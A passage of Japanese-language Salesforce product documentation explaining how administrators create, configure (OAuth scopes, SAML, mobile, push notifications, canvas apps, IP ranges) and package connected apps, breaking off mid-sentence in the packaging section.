• 接続アプリケーションが適用できる、モバイルポリシーに関する情報 (省略可能)

OAuth サービスプロバイダを使用する接続アプリケーションの場合、次の情報を指定します。
• 接続アプリケーションの OAuth 範囲およびコールバック URL。これらの情報と引き換えに、Salesforceは、接

続アプリケーションを認証するための OAuth コンシューマ鍵とコンシューマの秘密を提供します。
• OAuth 要求でトークン応答の ID トークンを処理する方法。
SAML サービスプロバイダを使用する接続アプリケーションの場合、サービスプロバイダから入手する次の情
報を指定します。
• エンティティ ID

• ACS (アサーションコンシューマサービス)

• URL

• 件名種別
• 名前 ID の形式
• 接続アプリケーションを承認するための発行者
接続アプリケーションは次の 2 つの方法でリリースできます。
• IT 部門がアプリケーションを作成し、同じ組織内で使用する。
• ISV や他の開発者がある組織のアプリケーションを作成し、そのアプリケーションを別の組織またはSalesforce

全体に、たとえば Salesforce AppExchange を介して配布する。
Salesforceシステム管理者は接続アプリケーションを自分の組織にインストールし、認証を有効にすることがで
きます。これで、プロファイル、権限セット、IP 範囲の制限を使用して、アプリケーションにアクセスできる
ユーザを制御できます。システム管理者は接続アプリケーションをキャンバスアプリケーションとして公開
し、Salesforceとより緊密に統合することができます。また、接続アプリケーションの新しいバージョンが利用
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可能になったことを開発者から通知されたときに、システム管理者はその新しいバージョンをインストールで
きます。

メモ:  Group Edition 組織では、プロファイルを使用して個々のユーザアクセスを管理することはできませ
ん。ただし、Group Edition 組織で OAuth 接続アプリケーションの設定を編集するときにポリシーを設定し
て、すべてのユーザの接続アプリケーションへのアクセスを制御できます。

関連トピック:

接続アプリケーションの作成
接続アプリケーションの編集、パッケージ化、または削除
salesforce_identity_implementation_guide.pdf

接続アプリケーションの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

ユーザ権限

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションを参照、作成、更
新または削除する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性以外のすべ
ての項目を更新する

「アプリケーションのカスタマイズ」お
よび「すべてのデータの編集」

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性を更新する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションをインストールお
よびアンインストールする

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

パッケージ化された接続アプリケーショ
ンをインストールおよびアンインストー
ルする

および「AppExchangeパッケージのダウ
ンロード」
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接続アプリケーションを作成するときは、アプリケーションに関する一般な情報と、OAuth、Web アプリケー
ション、モバイルアプリケーション、およびキャンバスアプリケーションの設定を指定します。また、
ConnectedAppPlugin Apexクラスを使用して接続アプリケーションハンドラを作成することで、アプリケー
ションの呼び出し方法をカスタマイズすることもできます。
接続アプリケーションを作成するには、新規接続アプリケーションウィザードを開きます。
• Salesforce Classic では、[設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[アプリケー

ション] を選択します。[接続アプリケーション] で、[新規] をクリックします。
• Lightning Experience では、アプリケーションマネージャを使用して接続アプリケーションを作成します。[設

定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[アプリケーションマネージャ] を選
択します。(1) [新規接続アプリケーション] をクリックします。(2)

メモ: 接続アプリケーションの作成には、[接続アプリケーションを管理する] ではなく必ず [アプリケー
ションマネージャ] を選択してください。(3)

接続アプリケーションを作成するために入力する情報は、次の部分に分かれています。
• 基本情報
• API (OAuth 設定の有効化)

• Web アプリケーション設定
• カスタム接続アプリケーションハンドラ
• モバイルアプリケーション設定
• キャンバスアプリケーション設定
接続アプリケーションは、認証、キャンバス、モバイル設定などを指定しなくても作成できます。この種の接
続アプリケーションは、ユーザのアプリケーションランチャーおよびドロップダウンアプリケーションメニュー
に表示される、指定された URL への「ブックマーク」のように動作します。基本情報を入力し、[Web アプリ
ケーション設定] に [開始 URL] を入力します。リンク先で認証が必要な場合は、リンク先 URL をホストする
サービスに移動したときにログイン情報を入力するように求められます。
情報の入力が完了したら、[保存] をクリックして新しいアプリケーションを保存します。これでアプリケー
ションの公開、追加修正、削除ができるようになります。OAuth を使用している場合、アプリケーションを保
存すると、アプリケーションが Salesforce との通信に使用する新しい 2 つの値が付与されます。
• コンシューマ鍵: コンシューマがSalesforceに自身の身分を証明するために使用する値。OAuth 2.0 では client_id

と呼ばれます。
• コンシューマの秘密: コンシューマがコンシューマキーの所有権を確立するために使用する秘密。OAuth 2.0

では client_secret として参照されます。

重要: 必要に応じて、接続アプリケーションのいくつかの項目を更新できます。変更内容は、インストー
ルされたアプリケーションのすべてのバージョンにすぐに適用されます。たとえば、接続アプリケーショ
ンの説明を更新すると、接続アプリケーションの各バージョンで説明がすぐに更新されます。バージョ
ンと連動しない次の項目は、パッケージ化やインストールのライフサイクルを迂回します。
• 説明
• 情報 URL

• ロゴ画像 URL
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• コールバック URL

基本情報
このセクションでは、アプリケーション名、ロゴ、連絡先情報など、アプリケーションに関する基本情報を指
定します。
1. 接続アプリケーション名を入力します。この名前はアプリケーションマネージャに表示されるほか、その

アプリケーションランチャーのタイルに表示されます。

メモ: 接続アプリケーション名は、組織内の接続アプリケーションで一意である必要があります。接
続アプリケーションが Spring '14 以降のリリースを使用して作成された場合は、削除済み接続アプリ
ケーションの名前を再使用できるようになりました。

2. プログラムからアプリケーションを参照するときに使用する API 参照名を入力します。API 参照名は、デフォ
ルトの空白を除いた名前になります。使用できるのは、文字、数字、アンダースコアのみであるため、元
のアプリケーション名に他の記号などが含まれている場合は、デフォルトの名前を編集します。

3. Salesforce がアプリケーション提供者またはそのサポートチームへの連絡時に使用する連絡先メールを入力
します。このアドレスは、アプリケーションをインストールする Salesforce システム管理者には提供されま
せん。

4. Salesforce から連絡する必要がある場合に使用する連絡先電話番号を入力します。この番号は、アプリケー
ションをインストールする Salesforce システム管理者には提供されません。

5. アプリケーションランチャーのタイルにロゴを表示するために使用するロゴ画像の URL を入力します。こ
れは、認証時にユーザに表示される同意ページにも表示されます。URL には HTTPS を使用する必要がありま
す。GIF、JPG、または PNG ファイル形式を使用してください。ファイルサイズについては 20 KB 未満をお勧
めします (上限 100 KB)。画像サイズは 128 x 128 ピクセルに変更されます。適切に表示されることを確認して
ください。ロゴを指定しない場合は、Salesforce でアプリケーションのイニシャルを使用してロゴを自動的
に生成します。
• [ロゴ画像をアップロード]をクリックして、独自のロゴ画像をアップロードできます。ローカルファイ

ルシステムからロゴのサイズ要件を満たす画像を選択します。アップロードが成功すると、ロゴへの
URL が [ロゴ画像 URL] 項目に表示されます。表示されない場合は、ロゴのサイズ要件を満たしている
ことを確認します。

• [いずれかのサンプルロゴを選択] をクリックして、Salesforce のサンプルからロゴを選択することもでき
ます。Salesforceアプリケーション、サードパーティアプリケーション、標準化団体のロゴなどが含まれ
ます。目的のロゴをクリックし、URL をコピーして [ロゴ画像 URL] 項目に貼り付けます。

• [ドキュメント] タブを使用して画像をドキュメントとしてアップロードすることで、Salesforce サーバで
公開されてホストされるロゴを使用できます。画像を表示して URL を取得し、その URL を [ロゴ画像
URL] 項目に入力します。

6. ユーザがアプリケーションを初めて使用するときに表示される OAuth 承認ページにロゴを表示するには、
アイコンの URL を入力します。サイズが 16×16 ピクセル (高さ×幅) で背景色が白のアイコンを使用します。
Salesforceが提供しているサンプルからアイコンを選択できます。[いずれかのサンプルロゴを選択]をクリッ
クします。目的のアイコンをクリックし、表示される URL をコピーして [アイコン URL] 項目に貼り付け
ます。
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7. アプリケーションについての詳細が記載された Web ページがある場合、情報 URL を入力します。
8. 接続アプリケーションのアプリケーションランチャーのタイルに表示する説明を入力します (最大 256 文

字)。説明を入力しない場合、タイルには名前のみが表示されます。

メモ: アプリケーションランチャーのアプリケーションランチャータイルには、接続アプリケーションの
名前、説明、ロゴ (指定された場合) が表示されます。わかりやすく、誤解を生じないテキストを入力して
ください。

API (OAuth 設定の有効化)

このセクションでは、アプリケーションがSalesforceと通信する方法を管理します。認証設定を定義するには、
[OAuth 設定の有効化] を選択します。
1. Salesforce が OAuth 時にアプリケーションにコールバックするコールバック URL (エンドポイント) を入力しま

す。これは OAuth リダイレクト URI です。通常、この URL は、認証が成功した後にユーザのブラウザがリダ
イレクトされる URL であり、使用する OAuth フローによって決まります。この URL は一部の OAuth フローで
アクセストークンを渡すために使用されるため、URL でセキュア HTTPS またはカスタム URI スキームを使用
する必要があります。複数のコールバック URL を入力すると、実行時に Salesforce は、アプリケーションで
指定されたコールバック URL の値を [コールバック URL]のいずれかの値と照合します。検証テストに通過
するには、いずれか 1 つの値と一致する必要があります。

2. JWT OAuth フローを使用している場合は、[デジタル署名を使用] を選択します。アプリケーションが証明書
を使用する場合は、[ファイルを選択] をクリックして、証明書のファイルを選択します。

3. サポートされているすべての OAuth 範囲を [選択した OAuth 範囲] に追加します。これらの範囲とは、接続ア
プリケーションを実行するユーザによって付与される権限を示します。OAuth トークン名は括弧で囲みま
す。
Chatter フィードへのアクセスと管理 (chatter_api)

Chatter REST API リソースへのアクセスのみを許可します。
データへのアクセスと管理 (api)

REST API や Bulk API などの API を使用したログインユーザのアカウントへのアクセスを許可します。この
値には、Chatter REST API リソースへのアクセスを許可する chatter_api も含まれます。

基本情報へのアクセス (id、profile、email、address、phone)

ID URL サービスへのアクセスを許可します。
カスタム権限へのアクセス (custom_permissions)

接続アプリケーションに関連付けられた組織内のカスタム権限へのアクセスを許可します。これは、現
在のユーザの各権限が有効になっているかどうかを示します。

一意の識別子へのアクセスを許可 (openid)

ログインユーザの OpenID Connect アプリケーションの一意の識別子へのアクセスを許可します。
フルアクセス (full)

ログインユーザのデータへのアクセスを許可し、その他すべての範囲が対象となるようにします。full

は更新トークンを返しません。更新トークンを取得するには、refresh_token の範囲を明示的に要求
する必要があります。
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ユーザに代わっていつでも要求を実行 (refresh_token、offline_access)

更新トークンを受け取る資格がアプリケーションにある場合に、更新トークンを返すことを許可しま
す。ユーザがオフラインのときに、アプリケーションはこの範囲を使用してユーザのデータを操作でき
ます。refresh_token 範囲は、offline_access と同じです。

カスタムアプリケーションへのアクセスの提供 (visualforce)

Visualforce ページへのアクセスを許可します。
Web 経由のデータへのアクセスを提供 (web)

Web で access_token を使用することを許可します。これには visualforce が含まれているため、
Visualforce ページへのアクセスが許可されます。

4. TV、アプライアンス、またはコマンドラインアプリケーションなど、入力機能や表示機能が制限されたデ
バイスのアプリケーションで OAuth を設定する場合、[デバイスフローで有効化] を選択します。

メモ: 有効にした場合、独自の URL を指定しない限り、コールバック URL の値はデフォルトのプレース
ホルダになります。コールバック URL はデバイスの認証フローでは使用されません。これと同じコン
シューマが別のフローで使用されている場合などに、必要に応じて独自のコールバック URL を指定で
きます。

5. クライアントアプリケーションに対して OAuth を設定する場合、そのクライアントアプリケーションがク
ライアントの秘密を保持できず、かつユーザエージェントフローを使用できないために Web サーバフロー
を使用する必要があるときは、[Web サーバフローの秘密が必要] を選択解除します。アプリケーション用
にクライアントの秘密は依然として生成されますが、この設定でアクセストークン要求内のclient_secret

パラメータが不要であることを Web サーバフローに指示します。アプリケーションでユーザエージェント
フローを使用できる場合は、秘密を使用しない Web サーバフローよりもセキュアなオプションとしてユー
ザエージェントをお勧めします。

6. OAuth 要求で ID トークンを処理する方法を制御します。OAuth 要求に openid 範囲が含まれる場合、返され
るトークンに ID トークンが含まれる可能性があります。
• 更新トークン応答に ID トークンを含めるには、[ID トークンを含める]を選択します。ID トークンはアク

セストークン応答に常に含まれます。
• プライマリ ID トークン設定を有効にした状態で、アクセストークン応答と更新トークン応答の両方で

ID トークンコンテンツを制御するセカンダリ設定を構成します。少なくとも 1 つの設定を選択します。
標準要求を含める

ユーザの名前、プロファイル、電話番号、住所など、ユーザに関する情報を含む標準要求を含めま
す。「OpenID Connect の仕様」では、ID トークンで返される、一連の標準要求が定義されます。

カスタム属性を含める
アプリケーションでカスタム属性を指定した場合は、そのカスタム属性を ID トークンに含めます。

カスタム権限を含める
アプリケーションでカスタム権限を指定した場合は、そのカスタム権限を ID トークンに含めます。

7. 接続デバイスのアセットトークンを発行するようにアプリケーションを設定する場合、アセットトークン
の設定を行います。
• [アセットトークンを有効化] を選択します。次の項目を指定します。
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トークンの有効期間
アセットトークンの発行後、アセットトークンが有効な期間。

アセット署名証明書
アセットトークンを署名するためにすでに作成している自己署名証明書。

アセット利用者
アセットトークンの対象コンシューマ。例: 接続デバイスのバックエンドサービス
(https://your_device_backend.com など)。

カスタム属性を含める
アプリケーションでカスタム属性を指定した場合は、そのカスタム属性をアセットトークンに含め
ます。

カスタム権限を含める
アプリケーションでカスタム権限を指定した場合は、そのカスタム権限をアセットトークンに含め
ます。

• コールバック URL (エンドポイント) を指定します。たとえば、
https://your_device_backend.com/callback です。

• アセットトークンで必要とされる OAuth 範囲を必ず追加します。
– データへのアクセスと管理 (api)

– 一意の識別子へのアクセスを許可 (openid)

Spring '12 リリースより前に、組織でリモートアクセスに対して [この組織のユーザにはユーザ承認は必要あり
ません] オプションを選択していた場合、アプリケーションを作成した組織のユーザは、アプリケーションに
対して自動的に承認されます。自動承認を示すには、このオプションを選択します。接続アプリケーションの
場合、アプリケーションを作成したら、システム管理者がアプリケーションをインストールし、[許可されて
いるユーザ] を [管理者が承認したユーザ] に設定することをお勧めします。リモートアクセスオプションが最
初に選択されていなかった場合、このオプションは表示されません。

Web アプリケーション設定
アプリケーションでユーザを認証後に特定の場所に転送するには、開始 URL を入力します。開始 URL を入力し
ない場合、ユーザは認証完了後にアプリケーションのデフォルトのスタートページに転送されます。作成して
いる接続アプリケーションがキャンバスアプリケーションの場合は、この項目をスキップします。[キャンバ
スアプリケーションの URL] 項目には、接続アプリケーションからコールされる URL が含まれます。
接続アプリケーションで SAML サービスプロバイダを使用する場合は、[SAML の有効化]を選択します。サービ
スプロバイダから入手できるエンティティ ID、ACS URL、件名種別、名前 ID 形式、発行者を入力します。サー
ビスプロバイダからセキュリティ証明書を付与された場合は、[要求署名を確認] を選択します。証明書のシ
ステムを参照します。これが必要になるのは、Salesforceへのログインをサービスプロバイダから開始するよう
に計画しており、そのサービスプロバイダが SAML 要求に署名する場合のみです。

重要: 証明書をアップロードする場合は、すべての SAML 要求に署名する必要があります。証明書がアッ
プロードされない場合、すべての SAML 要求が受け入れられます。
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必要に応じて、[SAML レスポンスを暗号化] を選択して証明書をアップロードし、アサーションを暗号化する
ための暗号化メソッドを選択します。有効な暗号化アルゴリズム値は、AES–128 (128 ビット鍵)、AES–256 (256

ビット鍵)、および Triple-DES (トリプルデータ暗号化アルゴリズム) です。

カスタム接続アプリケーションハンドラ
Apexを使用して接続アプリケーションの動作をカスタマイズします。ConnectedAppPlugin Apexクラスを拡
張するクラスを作成し、そのクラスを接続アプリケーションに関連付けます。このクラスは、新しい認証プロ
トコルをサポートしたり、ビジネスプロセスにメリットがある形でユーザ属性に応答することができます。
ユーザアカウントの代わりにプラグインが実行されます。[別のユーザとして実行]項目で、プラグインのユー
ザを選択します。ユーザが接続アプリケーションに対して認証されていない場合は、authorize メソッドを
使用して実行します。詳細は、『Apex コード開発者ガイド』の ConnectedAppPluginクラスを参照してくだ
さい。

モバイルアプリケーション設定
1. モバイルデバイスからアプリケーションにアクセスするときに特定の場所にユーザを転送するには、モバ

イルの開始 URL を入力します。モバイルの開始 URL を入力しないと、ユーザは [Web アプリケーション設定]

で定義された開始 URL に送信されます。作成している接続アプリケーションがキャンバスアプリケーショ
ンの場合、この項目をスキップできます。[キャンバスアプリケーションの URL] 項目には、接続アプリケー
ションからコールされる URL が含まれます。

2. アプリケーションが PIN 保護をサポートする場合は [PIN 保護] を選択します。この設定を使用すると、接続
アプリケーションのインストール後にシステム管理者がモバイルアプリケーションのセッションタイムア
ウトや PIN の文字数を設定できます。PIN 保護は、Salesforce Mobile SDK

(https://developer.salesforce.com/page/Mobile_SDK) でサポートされます。PIN 保護は、ユーザの ID URL から
mobile_policy オブジェクトを読み取って手動で実装することもできます。

3. [アプリケーションプラットフォーム]で、ドロップダウンリストから iOS または Android を選択して指定しま
す。

4. [デバイス種別に限定] ドロップダウンリストから、モバイルアプリケーションでサポートされるデバイス
のフォーム要素を指定します。指定できる値は [電話]、[タブレット]、または [ミニタブレット] です。アプ
リケーションがすべてのフォーム要素をサポートする場合は、どの値も選択しないでください。

5. モバイルアプリケーションのアプリケーションバージョン番号を入力します。
6. アプリケーションに必要な最小 OS バージョンを入力します。
7. [非公開アプリケーション] を選択し、このアプリケーションが内部 (非公開) 配布のみであることを指定し

ます。Apple は App Store 以外での公開モバイルアプリケーションの配布を許可していないため、この設定は
必須です。

8. モバイルアプリケーションが非公開の場合、モバイルアプリケーションバイナリファイルの場所を指定し
ます。ファイルの形式は、iOS の場合は IPA、Android の場合は APK です。

9. iOS アプリケーションのみ:

a. アプリケーションを iOS デバイスにダウンロードしてインストールしている間に表示するアプリケーショ
ンアイコンの場所を指定します。

b. [iOS バンドル識別子] を指定します。
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メモ:  iOS 7 以降では、XCode でのアプリケーションの開発時に使用したものと同じバンドル識別子
を使用します。この識別子を使用しない場合、ユーザにはインストール時に 2 つのアプリケーショ
ンアイコンが表示されます。

10. モバイル接続アプリケーションが公開アプリケーションで Salesforce にバイナリファイルをアップロードし
ていない場合、アプリケーションバイナリ URL をここで入力します。

メモ: 既存の接続アプリケーションの新しいバージョンからモバイルインテグレーションを削除した場
合、モバイルインテグレーションはどのバージョンの接続アプリケーションにも含まれなくなります。
たとえば、モバイルインテグレーションを備えたバージョン 1.0 の接続アプリケーションを含むパッケー
ジを公開するとします。その後、アプリケーションからモバイルインテグレーションを削除し、再度パッ
ケージ化して、バージョン 1.1 として公開します。この時点で顧客がバージョン 1.0 を含む以前のパッケー
ジをインストールすると、バージョン 1.0 の接続アプリケーションにはモバイルインテグレーションが含
まれていません。

接続アプリケーションは、次の要件を満たしている場合に転送通知を受け取ることができます。
• アプリケーションが Salesforce Mobile SDK で作成されている。
• アプリケーションがそのプラットフォームでの Mobile SDK 転送通知プロトコルを実装している。
• モバイルプラットフォームプロバイダ (Apple または Google) に登録済みの開発者である。
• iOS 転送通知の場合は Apple Push Notification Service (APNS)、Android 転送通知の場合は Google Cloud Messaging (GCM)

にアプリケーションが登録済みである。
• 転送通知用の Apex ハンドラを実装している。

メモ: 転送対応の接続アプリケーションは、1 つのモバイルプラットフォームのみをサポートできます。
モバイルアプリケーションの Android および iOS バージョンで転送通知をサポートするには、プラット
フォームごとに接続アプリケーションを作成します。

詳細は、『Salesforce Mobile Push Notifications Implementation Guide』を参照してください。
APNS の転送通知を設定する手順は、次のとおりです (iOS)。
1. [プッシュメッセージングの有効化] を選択します。
2. [サポートされているプッシュプラットフォーム] で [Apple] を選択します。
3. APNS 転送通知証明書に対して有効な Apple 環境を選択します。
4. 証明書で、アプリケーションを転送通知対象として登録したときに APNS から受信した .p12 証明書ファイ

ルを選択します (appkey.p12 など)。
5. .p12 証明書ファイルのパスワードを入力します。
GCM の転送通知を設定する手順は、次のとおりです (Android)。
1. [プッシュメッセージングの有効化] を選択します。
2. [サポートされているプッシュプラットフォーム] で [Android GCM] を選択します。
3. [サーバアプリケーションのキー (API キー)] に、Google への開発者登録時に取得したキーを入力します。
転送通知用に設定したモバイルプラットフォームを変更する手順は、次のとおりです。
1. [プッシュメッセージングの有効化] をオフにします。
2. 接続アプリケーションを保存し、[編集] をクリックします。
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3. [アプリケーションプラットフォーム] と関連する [モバイル設定] を、新しいプラットフォームを反映した
値に変更します。

4. 新しいプラットフォーム用に転送通知を再設定します。

キャンバスアプリケーション設定
次の 2 種類のキャンバスアプリケーションを使用できます。
• 組織の Salesforce システム管理者がインストールしたキャンバスアプリケーション。
• 組織全体のユーザがインストールしたキャンバス個人用アプリケーション。ユーザは、[Chatter] タブから

キャンバス個人用アプリケーションにアクセスし、プロンプトに従ってそのアプリケーションが Salesforce

データに接続できるようにします。ユーザはアプリケーションをキャンバス個人用アプリケーションにす
るように選択できます。詳細は、『Force.com Canvas 開発者ガイド』の「キャンバス個人用アプリケーショ
ン」を参照してください。

1. 接続アプリケーションをキャンバスアプリケーションとして公開する場合は、[Force.com Canvas] を選択し
ます。

2. サードパーティアプリケーションへのキャンバスアプリケーション URL を入力します。キャンバスアプリ
ケーションへのリンクをクリックすると、ユーザはこの URL に転送されます。

3. アクセス方法を選択します。この方法により、キャンバスアプリケーションで OAuth 認証フローを開始す
る方法が指定されます。
• 署名付き要求 (POST) — OAuth 認証を使用しますが、Salesforceシステム管理者がキャンバスアプリケーショ

ンをインストールする場合、キャンバスアプリケーションはユーザのアクセスを暗黙的に許可します。
ユーザ情報へのアプリケーションのアクセスを許可するよう求めるプロンプトはユーザに表示されませ
ん。このアクセス方法を使用する場合、認証はキャンバスアプリケーションの URL に直接 post 送信され
ます。
キャンバスアプリケーションで署名付き要求認証を使用する場合は、[ユーザに代わっていつでも要求を
実行] を [選択した OAuth 範囲] に追加しないでください。

• OAuth Webflow (GET) — OAuth 認証が使用され、ユーザはユーザ情報へのアプリケーションのアクセスを許
可するように求められます。このアクセス方法を使用する場合、キャンバスアプリケーションで OAuth

認証フローが開始されるようにする必要があります。

4. キャンバスアプリケーションの認証に SAML シングルサインオン (SSO) を使用している場合、[SAML の開始方
法]項目を選択します。この項目は、[Web アプリケーション設定] セクションで [SAML の有効化]を選択した
場合に有効化されます。この項目では、次のいずれかのオプションを選択できます。
• ID プロバイダによる開始 — Salesforce が SSO フローを開始する最初の要求を行います。
• サービスプロバイダによる開始 — キャンバスアプリケーションは呼び出された後に SSO フローを開始

します。

5. [場所] で、ユーザにキャンバスアプリケーションを表示する場所を選択します。
• Chatter フィード — キャンバスアプリケーションをフィードに表示します。このオプションを選択する

と、CanvasPost フィード項目を作成して現在のユーザがキャンバスアプリケーションにアクセスできる
ようにします。
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• Chatter タブ — キャンバスアプリケーションを Chatter タブのアプリケーションナビゲーションリストに
表示します。このオプションを選択すると、キャンバスアプリケーションが自動的に表示されます。

• コンソール — キャンバスアプリケーションを Salesforce コンソールのフッターまたはサイドバーに表示
します。このオプションを選択した場合、キャンバスアプリケーションをカスタムコンソールコンポー
ネントとして追加して、コンソールのどこにキャンバスアプリケーションを表示するのかを選択する必
要があります。

• レイアウトおよびモバイルカード — キャンバスアプリケーションをページレイアウトまたはモバイル
カードに表示できます。このオプションを選択した場合、キャンバスアプリケーションをページレイア
ウトに追加して、表示する場所を選択します。

• モバイルナビゲーション — キャンバスアプリケーションを Salesforce1のナビゲーションメニューからア
クセス可能にします。

メモ: キャンバスアプリケーションは、Android モバイルデバイスの Salesforce1 ナビゲーションメ
ニューには表示されません。キャンバスアプリケーションをナビゲーションメニューに表示するに
は、Salesforce1 モバイルブラウザアプリケーションにログインします。

• Open CTI — キャンバスアプリケーションを通話制御ツールに表示します。このオプションを選択した場
合、キャンバスアプリケーションを表示するにはコールセンターの定義ファイルにキャンバスアプリ
ケーションを指定します。

• パブリッシャー — キャンバスアプリケーションをパブリッシャーに表示します。このオプションを選
択した場合、キャンバスカスタムクイックアクションを作成して、グローバルレイアウトまたはオブ
ジェクトレイアウトに追加します。

• Visualforce ページ — キャンバスアプリケーションを Visualforceページに表示できます。Visualforceページに
キャンバスアプリケーションを公開するために <apex:canvasApp> コンポーネントを追加する場合
は、キャンバスアプリケーションの表示場所にこの場所を必ず選択してください。これ以外の場所を選
択するとエラーになります。

6. [アクションの自動作成]を選択して、キャンバスアプリケーションのグローバルアクションを作成します。
これを実行するには、[場所] で [パブリッシャー] を選択します。選択しないと、グローバルアクションは
作成されません。アクションは後で作成することもできます。

7. 独自の Canvas.CanvasLifecycleHandler Apex クラスを実装する場合、[ライフサイクルクラス] にクラ
ス名を指定します。Canvas.CanvasLifecycleHandler Apex クラスを指定すると、コンテキスト情報を
カスタマイズし、キャンバスアプリケーションにカスタム動作を追加できます。

8. アプリケーションをユーザがインストールできるようにするには、[キャンバス個人用アプリケーションと
して有効化]を選択します。Chatter タブは、キャンバス個人用アプリケーションをサポートしている唯一の
場所です。詳細は、『Force.com Canvas開発者ガイド』の「キャンバス個人用アプリケーション」を参照して
ください。

メモ:  [キャンバス個人用アプリケーションとして有効化] 設定が表示されない場合は、アプリケーショ
ンの対象組織のシステム管理者がキャンバス個人用アプリケーションを有効にしていません。詳細
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は、『Force.com Canvas 開発者ガイド』の「組織でのキャンバス個人用アプリケーションの有効化」を
参照してください。

関連トピック:

接続アプリケーションの編集、パッケージ化、または削除
接続アプリケーション
ID URL

接続アプリケーションの編集、パッケージ化、または削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

ユーザ権限

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションを参照、作成、更
新または削除する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性以外のすべ
ての項目を更新する

「アプリケーションのカスタマイズ」お
よび「すべてのデータの編集」

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性を更新する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションをインストールお
よびアンインストールする

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

パッケージ化された接続アプリケーショ
ンをインストールおよびアンインストー
ルする

および「AppExchangeパッケージのダウ
ンロード」

接続アプリケーションを作成したら、それを編集できます。たとえば、カスタム属性を追加したり、ユーザが
自動ログインできる IP アドレスを定義したりできします。接続アプリケーションをパッケージ化し、他の
Salesforce 組織で使用できるようにします。たとえば、ISV はアプリケーションをパッケージ化して AppExchange

で使用できるようにします。
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メモ: 接続アプリケーション名は、組織内の接続アプリケーションで一意である必要があります。接続ア
プリケーションが Spring '14 以降のリリースを使用して作成された場合は、削除済み接続アプリケーショ
ンの名前を再使用できるようになりました。

接続アプリケーションの編集
接続アプリケーションはいつでも更新できます。
1. [設定] から、[クイック検索]ボックスに「接続アプリケーション」と入力し、[接続アプリケーションを管理

する] を選択します。
2. リストで接続アプリケーション名を選択し、[編集] をクリックします。
3. 必要な変更を接続アプリケーションに加えます。たとえば、許容する IP 範囲を指定したり、IP 範囲以外の

一時的なアクセスを有効にしたり、カスタム属性を追加したりします。
4. 変更内容を保存するには、[保存] をクリックします。
接続アプリケーションを作成した後、詳細ページに戻って許容する IP 範囲を指定できます。
IP 範囲は、SAML 対応接続アプリケーションではなく OAuth 対応接続アプリケーションと連携し、接続アプリ
ケーションの有効な IP アドレスを指定します。
許容される IP 範囲を設定するには、次の手順を実行します。
1. [設定] から、[クイック検索]ボックスに「接続アプリケーション」と入力し、[接続アプリケーションを管理

する] を選択します。
2. リストで接続アプリケーション名を選択します。
3. [OAuth Web サーバフローの信頼済み IP 範囲] セクションで、[新規] をクリックします。
4. 有効な IP アドレスを開始 IP アドレスに入力します。それより上位の IP アドレスを終了 IP アドレスに入力し

ます。
連続していない複数の範囲を入力するには、[新規] をクリックします。

信頼済み IP 範囲の外部から OAuth 接続アプリケーションへのアクセス権を特定のユーザに付与できます。たと
えば、出張中のユーザにアクセス権を付与するには、接続アプリケーションを [IP 制限を 2 次要素で緩和]に設
定します。ユーザが範囲外から接続アプリケーションの使用を試みると、認証の第 2 要素 (トークンコードな
ど) を入力するように要求されます。第 2 要素認証が成功すると、ユーザは接続アプリケーションを使用でき
るようになります。
1. [設定] から、[クイック検索]ボックスに「接続アプリケーション」と入力し、[接続アプリケーションを管理

する] を選択します。
2. 接続アプリケーション名の横にある [編集] をクリックしてその値を表示します。
3. [IP 制限の緩和] 項目で、ドロップダウンリストから [IP 制限の緩和] を選択します。

メモ: [セッションの設定] の [すべての要求でログイン IP アドレスの制限を適用] オプションが有効化さ
れている場合、IP の緩和動作に影響があります。詳細は、「接続アプリケーションの IP 制限の緩和および
IP の継続的な適用」 (ページ 6725)を参照してください。

接続アプリケーションを作成した後、詳細ページに戻ってカスタム属性を指定できます。カスタム属性では、
SAML メタデータ、または OAuth ランタイムで読み込まれる OAuth パラメータを指定します。
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1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[接続アプリケーションを管理す
る] を選択します。

2. リストで接続アプリケーション名を選択します。
3. [カスタム属性] セクションで、[新規] をクリックします。

各カスタム属性は、一意のキーを持ち、[項目の挿入] メニューから取得できる項目を使用する必要があり
ます。たとえば、countryなどのキー名を割り当て、項目 $Organization.Countryを挿入します。SAML

を使用する場合、属性は SAML 属性ステートメントとして送信されます。OAuth を使用する場合、属性はユー
ザの ID URL で custom_attributes オブジェクトとして使用できます。

重要: 必要に応じて、接続アプリケーションのいくつかの項目を更新できます。変更内容は、インストー
ルされたアプリケーションのすべてのバージョンにすぐに適用されます。たとえば、接続アプリケーショ
ンの説明を更新すると、接続アプリケーションの各バージョンで説明がすぐに更新されます。バージョ
ンと連動しない次の項目は、パッケージ化やインストールのライフサイクルを迂回します。
• 説明
• 情報 URL

• ロゴ画像 URL

• コールバック URL

接続アプリケーションのパッケージ化
パッケージは、Salesforce組織間でカスタム機能を配布するためのコンテナです。接続アプリケーション、また
は既存のアプリケーションの新しいバージョンを作成したら、作成したアプリケーションをカスタムオブジェ
